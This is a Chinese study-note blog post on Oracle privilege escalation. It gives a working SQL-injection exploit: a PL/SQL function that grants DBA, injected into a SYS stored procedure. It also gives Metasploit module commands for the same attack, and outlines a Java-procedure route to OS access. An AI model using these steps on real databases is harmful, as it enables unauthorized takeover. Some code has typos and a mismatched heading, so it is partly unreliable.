zoukankan      html  css  js  c++  java
  • Day6——提权学习之Oracle数据库提权学习总结

    0x00 Oracle提权基础

    1、Oracle权限分配

    1.1 系统权限

    系统规定用户使用数据库的权限。(系统权限是对用户而言)。

    系统权限分类
    DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
    RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
    CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。
    对于普通用户:授予connect, resource权限。
    对于DBA管理用户:授予connect,resource, dba权限。

    1.2 实体权限

    某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

    实体权限分类
    select, update, insert, alter, index, delete, all //all包括所有权限
    execute //执行存储过程权限

    0x01 Oracle提权方法

    1、通过注入存储过程提权(低权限提升至DBA)

    1.1 原理

    SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

    1.2 利用条件

    1、SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)

    2、用户拥有create procedure权限(用来创建函数)

    1.3 提权步骤

    假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限

    1.3.1 手工注入

    (1)用户登陆后执行select * from session_privs查看权限

    (2)创建函数,命令为grant dba to quan

    grant execute on pwn to public;//赋予所有用户此函数的执行权限

    SQL>create or replace function pwn return vaarchar2
    authid current_user is pragma autonomous_transaction;
    begin
    execute immediate 'grant dba to quan';
    return '';
    end;
    /
    
    SQL>grant execute on pwn to public;
    /
    

    (3)注入sys.dbms_cdc_subscribe.activate_subscription

    SQL>begin
    sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
    end;
    /
    
    SQL>set role dba;
    

    (4)执行select * from session_privs查看是否为dba权限

    1.3.2 利用MSF注入

    (1)加载攻击模块

    use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription
    

    (2)配置参数

    set dbuser quan
    
    set dbpass quan123
    
    set sid orcl
    
    set rhost xxxxx
    
    set sql grant dba to quan
    

    (3)run

    2、通过utl_http.request存储过程提权

    2.1 原理

    Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限

    2.2 利用条件

    1、UTL_HTTP存储过程可用

    2、Oracle9i~11gR2

    2.3 提权步骤

    (1)创建Java包

    (2)创建存储过程MYJAVACMD

    (3)执行存储过程,成功添加用户

    0x02 参考文章

    《网络攻防实战研究——漏洞利用与提权》

  • 相关阅读:
    Intellij Idea 创建Web项目入门
    使用swagger作为restful api的doc文档生成
    SpringMVC中的参数绑定总结
    Spring注解@Resource和@Autowired区别对比
    java的(PO,VO,TO,BO,DAO,POJO)解释
    java有几种对象(PO,VO,DAO,BO,POJO)
    clone项目到本地
    修改虚拟机上Linux系统的IP地址
    虚拟机下CentOS 6.5配置IP地址的三种方法
    系统重启
  • 原文地址:https://www.cnblogs.com/0nc3/p/12081189.html
Copyright © 2011-2022 走看看